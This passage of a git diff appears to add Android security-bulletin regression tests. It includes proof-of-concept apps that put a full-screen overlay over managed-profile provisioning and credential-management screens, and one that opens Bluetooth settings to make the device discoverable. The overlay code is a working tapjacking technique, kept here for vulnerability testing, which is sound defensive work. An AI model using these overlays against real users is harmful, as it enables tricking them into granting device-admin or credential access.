+        // Disable bluetooth if it was OFF before the test
+        if (!btState) {
+            btAdapter.disable();
+        }
+
+        // The test fails if bluetooth is made discoverable through PoC
+        assertFalse("Vulnerable to b/194695497 !!", isBtDiscoverable);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
new file mode 100644
index 0000000..d4425ff
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39626;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Intent intent = new Intent();
+        intent.setAction(Settings.ACTION_BLUETOOTH_SETTINGS);
+        try {
+            startActivity(intent);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp
index bcbf54f..602c426 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,8 +19,17 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-39692",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml
new file mode 100644
index 0000000..459d992
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.security.cts.CVE_2021_39692">
+
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application
+            android:testOnly="false"
+            android:allowBackup="true"
+            android:label="CVE-2021-39692">
+        <uses-library android:name="android.test.runner" />
+        <activity android:name=".PocActivity"
+            android:enabled="true"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <service android:name=".PocService"
+            android:enabled="true"
+            android:exported="false" />
+
+        <receiver android:name=".PocDeviceAdminReceiver"
+                android:permission="android.permission.BIND_DEVICE_ADMIN"
+                android:exported="true">
+            <meta-data
+                    android:name="android.app.device_admin"
+                    android:resource="@xml/device_admin_receiver"/>
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.intent.action.BOOT_COMPLETED" />
+                <action android:name="android.app.action.PROFILE_OWNER_CHANGED" />
+                <action android:name="android.app.action.DEVICE_OWNER_CHANGED" />
+            </intent-filter>
+        </receiver>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39692" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml
new file mode 100644
index 0000000..cf041ca
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+    <string name="activityNotStartedException">Unable to start the %1$s</string>
+    <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string>
+    <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+    <string name="dumpsysActivityCmd">dumpsys activity %1$s</string>
+    <string name="dumpsysActivityException">Could not execute dumpsys activity command</string>
+    <string name="overlayErrorMessage">Device is vulnerable to b/209611539 hence any app with
+    "SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+    <string name="mResumedTrue">mResumed=true</string>
+    <string name="overlayButtonText">OverlayButton</string>
+    <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+    <string name="testPkg">android.security.cts.CVE_2021_39692</string>
+    <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+    </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml
new file mode 100644
index 0000000..af74d3b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<device-admin>
+    <support-transfer-ownership/>
+    <uses-policies>
+        <limit-password/>
+        <watch-login/>
+        <reset-password/>
+        <force-lock/>
+        <wipe-data/>
+        <expire-password/>
+        <encrypted-storage/>
+        <disable-camera/>
+        <disable-keyguard-features/>
+    </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java
new file mode 100644
index 0000000..e2f6196
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    private void startOverlayService() {
+        Context context = getApplicationContext();
+        assertNotNull(context);
+        Intent intent = new Intent(context, PocService.class);
+
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(getApplicationContext()));
+        try {
+            context.startService(intent);
+        } catch (Exception e) {
+            assumeNoException(
+                    context.getString(R.string.activityNotStartedException, "overlay service"), e);
+        }
+    }
+
+    private void startVulnerableActivity() {
+        Context context = getApplicationContext();
+        Intent intent = new Intent(context, PocActivity.class);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        try {
+            context.startActivity(intent);
+        } catch (ActivityNotFoundException e) {
+            assumeNoException(
+                    context.getString(R.string.activityNotStartedException, "PocActivity"), e);
+        }
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+        /* Start the overlay service */
+        startOverlayService();
+
+        /* Wait for the overlay window */
+        Context context = getApplicationContext();
+        Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+                Pattern.CASE_INSENSITIVE);
+        final int launchTimeoutMs = 20000;
+        assumeTrue(context.getString(R.string.overlayUiScreenError),
+                mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs));
+
+        /* Start the vulnerable activity */
+        startVulnerableActivity();
+
+        /* Wait until the object of launcher activity is gone */
+        boolean overlayDisallowed = false;
+        if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))),
+                launchTimeoutMs)) {
+            overlayDisallowed = true;
+        }
+
+        Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE);
+        intent.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+                new ComponentName(context, PocDeviceAdminReceiver.class));
+        PackageManager pm = context.getPackageManager();
+        ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assumeTrue(context.getString(R.string.activityNotFoundMsg, intent), ri != null);
+        String testVulnerableActivity = ri.activityInfo.name;
+
+        /* Check if the currently running activity is the vulnerable activity */
+        String activityDump = "";
+        try {
+            activityDump = mDevice.executeShellCommand(
+                    context.getString(R.string.dumpsysActivityCmd, testVulnerableActivity));
+        } catch (IOException e) {
+            assumeNoException(context.getString(R.string.dumpsysActivityException), e);
+        }
+        Pattern activityPattern =
+                Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+        assumeTrue(context.getString(R.string.vulActivityNotRunningError, testVulnerableActivity),
+                activityPattern.matcher(activityDump).find());
+
+        /* Failing the test as fix is not present */
+        assertTrue(context.getString(R.string.overlayErrorMessage, testVulnerableActivity),
+                overlayDisallowed);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java
new file mode 100644
index 0000000..89a7d93
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.content.ActivityNotFoundException;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE);
+        intent.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+                new ComponentName(getApplicationContext(), PocDeviceAdminReceiver.class));
+        PackageManager pm = getPackageManager();
+        ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assumeTrue(getString(R.string.activityNotFoundMsg, intent), ri != null);
+        try {
+            startActivityForResult(intent, 1);
+        } catch (ActivityNotFoundException e) {
+            assumeNoException(getString(R.string.activityNotFoundMsg, intent), e);
+        }
+    }
+
+    @Override
+    public void onActivityResult(int requestCode, int resultCode, Intent data) {
+        if (resultCode == Activity.RESULT_OK) {
+            this.setResult(Activity.RESULT_OK);
+            this.finish();
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java
new file mode 100644
index 0000000..455aa03
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        super.onReceive(context, intent);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java
new file mode 100644
index 0000000..be96d11
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+    private Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+    private static int getScreenWidth() {
+        return Resources.getSystem().getDisplayMetrics().widthPixels;
+    }
+
+    private static int getScreenHeight() {
+        return Resources.getSystem().getDisplayMetrics().heightPixels;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mWindowManager = getSystemService(WindowManager.class);
+        mLayoutParams = new WindowManager.LayoutParams();
+        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        mLayoutParams.format = PixelFormat.OPAQUE;
+        mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+        mLayoutParams.width = getScreenWidth();
+        mLayoutParams.height = getScreenHeight();
+        mLayoutParams.x = getScreenWidth() / 2;
+        mLayoutParams.y = getScreenHeight() / 2;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        showFloatingWindow();
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mWindowManager != null && mButton != null) {
+            mWindowManager.removeView(mButton);
+        }
+        super.onDestroy();
+    }
+
+    private void showFloatingWindow() {
+        Context context = getApplicationContext();
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(getApplicationContext()));
+        mButton = new Button(getApplicationContext());
+        mButton.setText(context.getString(R.string.overlayButtonText));
+        mWindowManager.addView(mButton, mLayoutParams);
+        mButton.setTag(mButton.getVisibility());
+    }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp
index bcbf54f..034f865 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,8 +19,17 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2021-39702",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    platform_apis: true,
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml
new file mode 100644
index 0000000..60105d6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    package="android.security.cts.CVE_2021_39702"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application
+        android:allowBackup="true"
+        android:label="CVE_2021_39702"
+        android:supportsRtl="true">
+        <uses-library android:name="android.test.runner" />
+        <service android:name=".PocService"
+            android:enabled="true"
+            android:exported="false" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39702" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml
new file mode 100644
index 0000000..46f9745
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="activityNotFoundMsg">The activity with intent was not found : </string>
+    <string name="activityNotStartedException">Unable to start the activity with intent : </string>
+    <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+    <string name="dumpsysActivity">dumpsys activity</string>
+    <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity command
+    </string>
+    <string name="errorMessage">Device is vulnerable to b/205150380 hence any app with
+    "SYSTEM_ALERT_WINDOW can overlay the RequestManageCredentials screen</string>
+    <string name="mResumedTrue">mResumed=true</string>
+    <string name="overlayAttack">overlayattack</string>
+    <string name="overlayButtonText">OverlayButton</string>
+    <string name="overlayServiceNotStartedException">Unable to start the overlay service</string>
+    <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+    <string name="vulActivityNotRunningError">The RequestManageCredentials is not currently running
+    on the device</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java
new file mode 100644
index 0000000..b5f3a3e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39702;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.provider.Settings;
+import android.security.AppUriAuthenticationPolicy;
+import android.security.Credentials;
+import android.security.KeyChain;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final int LAUNCH_TIMEOUT_MS = 20000;
+    private String vulnerableActivityName = "";
+
+    private void startOverlayService() {
+        Context context = getApplicationContext();
+        assumeNotNull(context);
+        Intent intent = new Intent(context, PocService.class);
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(context));
+        try {
+            context.startService(intent);
+        } catch (Exception e) {
+            assumeNoException(context.getString(R.string.overlayServiceNotStartedException), e);
+        }
+    }
+
+    public void startVulnerableActivity() {
+        Context context = getApplicationContext();
+        assumeNotNull(context);
+        Intent intent = new Intent(Credentials.ACTION_MANAGE_CREDENTIALS);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        AppUriAuthenticationPolicy policy = new AppUriAuthenticationPolicy.Builder()
+                .addAppAndUriMapping(context.getPackageName(), Uri.parse(""),
+                        context.getString(R.string.overlayAttack))
+                .build();
+        intent.putExtra(KeyChain.EXTRA_AUTHENTICATION_POLICY, policy);
+        PackageManager pm = context.getPackageManager();
+        assumeNotNull(pm);
+        ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assumeTrue(context.getString(R.string.activityNotFoundMsg) + intent, ri != null);
+        assumeNotNull(ri.activityInfo);
+        vulnerableActivityName = ri.activityInfo.name;
+        try {
+            context.startActivity(intent);
+        } catch (Exception e) {
+            assumeNoException(context.getString(R.string.activityNotStartedException) + intent, e);
+        }
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        Context context = getApplicationContext();
+        assumeNotNull(context);
+        UiDevice device = UiDevice.getInstance(getInstrumentation());
+        assumeNotNull(device);
+
+        /* Start the overlay service */
+        startOverlayService();
+
+        /* Wait for the overlay window */
+        Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+                Pattern.CASE_INSENSITIVE);
+        assumeTrue(context.getString(R.string.overlayUiScreenError),
+                device.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS));
+
+        /* Start the vulnerable activity */
+        startVulnerableActivity();
+
+        /* Wait until the object of launcher activity is gone */
+        boolean overlayDisallowed = device.wait(Until.gone(By.pkg(context.getPackageName())),
+                LAUNCH_TIMEOUT_MS);
+
+        /* Check if the currently running activity is the vulnerable activity */
+        String activityDump = "";
+        try {
+            activityDump = device.executeShellCommand(
+                    context.getString(R.string.dumpsysActivity) + " " + vulnerableActivityName);
+        } catch (IOException e) {
+            assumeNoException(context.getString(R.string.dumpsysActivityNotStartedException), e);
+        }
+        Pattern activityPattern =
+                Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+        assumeTrue(context.getString(R.string.vulActivityNotRunningError),
+                activityPattern.matcher(activityDump).find());
+
+        /* Failing the test as fix is not present */
+        assertTrue(context.getString(R.string.errorMessage), overlayDisallowed);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java
new file mode 100644
index 0000000..e20029af7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
